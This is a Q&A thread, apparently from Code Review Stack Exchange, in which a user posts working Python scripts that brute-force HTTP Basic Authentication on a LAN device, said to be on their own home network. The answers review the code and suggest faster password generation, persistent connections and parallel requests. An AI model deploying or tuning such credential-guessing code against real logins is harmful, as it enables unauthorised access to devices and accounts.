I am playing around with brute force attack on my home network. I wrote the following script with Python. However progress is a little slow. Does anyone have a suggestion how to make this faster?
import socket
import urllib2, base64
import sys
import time
def afunction(password_start):
#-------------------------------------------------------------------------- ONLY ONCE
charset = 'abcdefghijklmnopqrstuvwxyz0123456789'
request = urllib2.Request("http://192.168.178.25/parse.html")
num = len(charset)**3
print "Trying to crack parse.html...\n"
# STATUS VARIABLES
totspeed = 0
c= 0
total = 36**6
#GET THE INDEXES TO START WHERE THEY SHOULD
first_time = True
ilist = []
for i in password_start:
for index, j in enumerate(charset):
if i == j:
ilist.append(index)
#USERNAME
usrname = 'admin'
#-------------------------------------------------------------------------- LOOP
for idx, l in enumerate(charset):
_q = idx
if idx < ilist[0] and first_time:
continue
for idx2, m in enumerate(charset):
_w = idx2
if idx2 < ilist[1] and first_time:
continue
for idx3, n in enumerate(charset):
_e = idx3
if idx3 < ilist[2] and first_time:
continue
at = time.time()
for idx4,o in enumerate(charset):
if idx4 < ilist[3] and first_time:
continue
for idx5, p in enumerate(charset):
if idx5 < ilist[4] and first_time:
continue
for idx6, q in enumerate(charset):
if idx6 < ilist[5] and first_time:
continue
#PASSWORD
passwd = l+m+n+o+p+q
first_time = False
#LOGGING IN
base64string = base64.encodestring('%s:%s' % (usrname,passwd)).replace('\n', '')
request.add_header("Authorization", "Basic %s" % base64string)
try:
result = urllib2.urlopen(request)
print "Login succes!! Username: %s"%usrname," Password: %s"%passwd
sys.exit()
#EVERY FAILED PASSWORD GOES IN HERE
except urllib2.HTTPError:
continue
#IF A NETWORK ERROR OCCURS, IT WILL BE CAUGHT WITH AN EXCEPTION
except socket.error:
print "\n Sleeping for a moment. Conncection is reset by peer...\n"
time.sleep(60)
afunction(passwd)
except urllib2.URLError:
if time.localtime()[3] < 21:
print "Connection has been lost. Try again in 10 minutes"
start3 = passwd
time.sleep(600)
afunction(passwd)
else:
start3 = passwd
print "Connection has been terminated at: %s\n"% time.ctime()
print "Todays cracking ended with: %s"%start3
print "Cracking will continue at 6 AM\n"
while time.localtime()[3] != 6:
time.sleep(600)
time.sleep(300)
afunction(passwd)
#STATUS UPDATE
bt = time.time()
totpasswd = num/((bt-at))
totspeed +=int(totpasswd)
c+=1
average = totspeed / c
aa = (36-(_q+1) )
bb = (36-(_w+1) )
cc = (36-(_e+1) )
if aa == 0: aa = 1
if bb == 0: bb = 1
if cc == 0: cc = 1
passwordsleft = ( aa * 36**5) +( bb * 36**4) + ( cc * 36**3) + (36**3) + (36**2) + 36.
estimatation = ((passwordsleft/average) / 3600 ) / 13.
print usrname,"::::",l+m+n+'xxx',"::::", " Processed %d passwords / sec"%totpasswd, "::::"," Estimated time left: %d days"%estimatation,"::::"," Passwords Left: %d"%passwordsleft, "::::"," Done: %.2f %%"%((passwordsleft/total)*100)
#RUN SCRIPT
afunction('aziaaa')
This is the output:
admin :::: fajxx :::: Processed 737 passwords / sec :::: Estimated time left: 25 hours :::: Passwords Left: 52056468 :::: Done: 13.91 % admin :::: fakxx :::: Processed 648 passwords / sec :::: Estimated time left: 25 hours :::: Passwords Left: 52055172 :::: Done: 13.91 % admin :::: falxx :::: Processed 848 passwords / sec :::: Estimated time left: 24 hours :::: Passwords Left: 52053876 :::: Done: 13.91 % admin :::: famxx :::: Processed 734 passwords / sec :::: Estimated time left: 23 hours :::: Passwords Left: 52052580 :::: Done: 13.91 %
Following is similar code, but with the httlip library:
import sys
import time
import base64
import string
import httplib
def afunction(password_start):
#-------------------------------------------------------------------------- ONLY ONCE
charset = 'abcdefghijklmnopqrstuvwxyz0123456789'
h = httplib.HTTP('192.168.178.25')
num = len(charset)**2
print "Trying to crack parse.html...\n"
# STATUS VARIABLES
totspeed = 0
c= 0
total = 36**5
#GET THE INDEXES TO START WHERE THEY SHOULD
first_time = True
ilist = []
for i in password_start:
for index, j in enumerate(charset):
if i == j:
ilist.append(index)
#USERNAME
userid = 'admin'
#-------------------------------------------------------------------------- LOOP
for idx, l in enumerate(charset):
_q = idx
if idx < ilist[0] and first_time:
continue
for idx2, m in enumerate(charset):
_w = idx2
if idx2 < ilist[1] and first_time:
continue
for idx3, n in enumerate(charset):
_e = idx3
if idx3 < ilist[2] and first_time:
continue
at = time.time()
for idx4,o in enumerate(charset):
if idx4 < ilist[3] and first_time:
continue
for idx5, p in enumerate(charset):
if idx5 < ilist[4] and first_time:
continue
#PASSWORD
passwd = l+m+n+o+p
first_time = False
auth = 'Basic ' + string.strip(base64.encodestring(userid + ':' + passwd))
h.putrequest('GET', '/parse.html')
h.putheader('Authorization', auth )
h.endheaders()
if h.getreply()[0] == 401:
continue
elif h.getreply()[0] == 200:
print "Login succes!! Username: %s"%userid," Password: %s"%passwd
sys.exit()
else:
print "Conncection lost..."
sys.exit()
#STATUS UPDATE
bt = time.time()
dt = bt - at
totpasswd = num/dt
totspeed +=int(totpasswd)
c+=1.
average = totspeed / c
aa = (36-(_q+1) )
bb = (36-(_w+1) )
cc = (36-(_e+1) )
if aa == 0: aa = 1
if bb == 0: bb = 1
if cc == 0: cc = 1
passwordsleft = ( aa * 36**4) +( bb * 36**3) + ( cc * 36**2) + (36**2) + 36.
estimatation = ((passwordsleft/average) / 3600. )
print userid,"::::",l+m+n+'xx',"::::", " Processed %d passwords / sec"%totpasswd, "::::"," Estimated time left: %d hours"%estimatation,"::::"," Passwords Left: %d"%passwordsleft, "::::"," Done: %.2f %%"%(100-(((passwordsleft/total))*100))
print "No password found.. Try something else.... "
#RUN SCRIPT
afunction('aaiaa')
#afunction('a47aaa')
The output is considerably slower:
admin :::: aatxx :::: Processed 34 passwords / sec :::: Estimated time left: 380 hours :::: Passwords Left: 60441588 :::: Done: 0.04 % admin :::: aauxx :::: Processed 30 passwords / sec :::: Estimated time left: 389 hours :::: Passwords Left: 60440292 :::: Done: 0.04 % admin :::: aavxx :::: Processed 28 passwords / sec :::: Estimated time left: 399 hours :::: Passwords Left: 60438996 :::: Done: 0.04 %
-
\$\begingroup\$ Instead of that nested mess of for-loops, check out itertools ; I suspect a usage of .product() is what you want. \$\endgroup\$pjz– pjz2012年06月20日 17:44:16 +00:00Commented Jun 20, 2012 at 17:44
2 Answers 2
import sys
import time
import base64
import string
import httplib
def afunction(password_start):
That's a pretty inspecific name for your function
# ONLY ONCE
charset = 'abcdefghijklmnopqrstuvwxyz0123456789'
h = httplib.HTTP('192.168.178.25')
I'd put constants like charset and the ip address into global c onstants.
num = len(charset)**2
The name num
is not very specific, so its hard to tell what this is supposed to be. Its also not used until much later, so why define it here?
print "Trying to crack setparm.htm...\n"
# STATUS VARIABLES
totspeed = 0
c= 0
The speed of light? Don't use single letter variables unless maybe inside quick for loops
total = 36**5
Why not use len(charset)
here?
#GET THE INDEXES TO START WHERE THEY SHOULD
first_time = True
ilist = []
for i in password_start:
for index, j in enumerate(charset):
if i == j:
ilist.append(index)
Actually this whole list can be written as ilist = [charset.index(char) for char in password_start]
#USERNAME
userid = 'admin'
I'd make this a global constnat
#-------------------------------------------------------------------------- LOOP
for idx, l in enumerate(charset):
_q = idx
Why store it in idx
only to copy it over? Use for _q, l in ...
if idx < ilist[0] and first_time:
continue
for idx2, m in enumerate(charset):
_w = idx2
if idx2 < ilist[1] and first_time:
continue
for idx3, n in enumerate(charset):
_e = idx3
if idx3 < ilist[2] and first_time:
continue
at = time.time()
for idx4,o in enumerate(charset):
if idx4 < ilist[3] and first_time:
continue
for idx5, p in enumerate(charset):
if idx5 < ilist[4] and first_time:
continue
Yuck! You shouldn't to have nested for loops like this. I'll show you how to rewrite it later.
#PASSWORD
passwd = l+m+n+o+p
first_time = False
auth = 'Basic ' + string.strip(base64.encodestring(userid + ':' + passwd))
h.putrequest('GET', '/protect/setvar.htm')
h.putheader('Authorization', auth )
h.endheaders()
if h.getreply()[0] == 401:
continue
elif h.getreply()[0] == 200:
print "Login succes!! Username: %s"%userid," Password: %s"%passwd
sys.exit()
else:
print "Conncection lost..."
sys.exit()
You may to include more information about what error happened. This whole section is ripe for being moved into another function
#STATUS UPDATE
bt = time.time()
dt = bt - at
totpasswd = num/dt
totspeed +=int(totpasswd)
Why are you adding speeds rather then just tracking time from the start? c+=1. average = totspeed / c aa = (36-(_q+1) ) bb = (36-(_w+1) ) cc = (36-(_e+1) ) if aa == 0: aa = 1 if bb == 0: bb = 1 if cc == 0: cc = 1 passwordsleft = ( aa * 36**4) +( bb * 36**3) + ( cc * 36*2) + (36*2) + 36. estimatation = ((passwordsleft/average) / 3600. ) print userid,"::::",l+m+n+'xx',"::::", " Processed %d passwords / sec"%totpasswd, "::::"," Estimated time left: %d hours"%estimatation,"::::"," Passwords Left: %d"%passwordsleft, "::::"," Done: %.2f %%"%(100-(((passwordsleft/total))*100))
print "No password found.. Try something else.... "
#RUN SCRIPT
afunction('aaiaa')
#afunction('a47aaa')
For generating the objects, I'd use a class liek this:
class PasswordGenerator(object):
def __init__(self, password_start):
self._state = [CHARSET.index(char) for char in password_start]
def __iter__(self):
return self
def next(self):
# convert indexes in password string
password = ''.join(CHARSET[index] for index in self._state)
# try incrementing the password state, starting at the last char
for index in range(len(self._state) - 1, 0, -1):
self._state[index] += 1
if self._state[index] == len(CHARSET):
# if we've tried all the characters in the last position
# reset and continue
self._state[index] = 0
else:
# we're good, return the password
return password
else:
# signal the end of passwords
raise StopIteration
def count(self):
"""
Return the number of passwords not yet generated
"""
total = 0
for index, count in enumerate(self._state):
total += (len(CHARSET) - count)*len(CHARSET)**(len(self._state)- index)
return total
Lightly tested. The idea is that this object can generate the passwords of any length, and you use a single for loop instead of several nested ones.
I also tried using eventlet to speed up the processing. The idea is to use multiple requests at the same time. But this in my case made things slower. I speculate this is because I'm justting a localhost server on my desktop, and thus I'm not spending a lot of time waiting for network traffic.
-
\$\begingroup\$ Some Python masters here at stackexchange. Thanks a lot! Your tips are really straightforward, will not make these mistakes again! I realise now to make the variables a bit more clearer before I post as well. Thanks for helping me out! \$\endgroup\$xfscrypt– xfscrypt2012年06月19日 11:33:24 +00:00Commented Jun 19, 2012 at 11:33
-
1\$\begingroup\$ Are you sure you need a class? Using
yield
would simplify the code immensely, but you would not be able to implementcount
... it is up to you if it is worth the tradeoff \$\endgroup\$Caridorc– Caridorc2015年05月28日 21:27:48 +00:00Commented May 28, 2015 at 21:27
- move the code that generates passwords and makes connections, retry logic to separate functions
- make multiple requests using the same tcp connection (urllib doesn't support persistent connections, you could use httplib directly instead)
- make multiple connections in parallel (using threads/processes and/or some async library e.g.,
requests.async
Here's the code: Brute force basic http authorization using httplib and multiprocessing.
-
\$\begingroup\$ ok. I tried with threads before though, but its considerably slower. let me try to find the code and i'll post it. I'll have a look to your other suggestions. thanks! \$\endgroup\$xfscrypt– xfscrypt2012年06月17日 16:13:26 +00:00Commented Jun 17, 2012 at 16:13
-
\$\begingroup\$ Well as you can see, I tried to implement the httplib library but the code is remarkably slower. Is the "h = httplib.HTTP('192.168.178.25')" taking care of the same tcp connection as you suggested? \$\endgroup\$xfscrypt– xfscrypt2012年06月18日 14:45:12 +00:00Commented Jun 18, 2012 at 14:45
-
\$\begingroup\$ @apfz: httplib + multiprocessing processes ~1100 passwords per second (the server produces max ~1200 replies/s without errors). \$\endgroup\$jfs– jfs2012年06月18日 22:20:02 +00:00Commented Jun 18, 2012 at 22:20
-
\$\begingroup\$ that is a really really nice pythonic code you linked me to. Your help is greatly appreciated, as I have learned much about Python this way. I got a similar passwords/sec as with the code I posted, I guess thats about the limit my network can go then. Again, thanks for being really helpful! \$\endgroup\$xfscrypt– xfscrypt2012年06月19日 11:28:50 +00:00Commented Jun 19, 2012 at 11:28
-
\$\begingroup\$ @apfz: I've cleaned up the code slightly. You could tweak number of processes in the pool until passwords/sec rate levels off. \$\endgroup\$jfs– jfs2012年06月19日 21:03:34 +00:00Commented Jun 19, 2012 at 21:03
Explore related questions
See similar questions with these tags.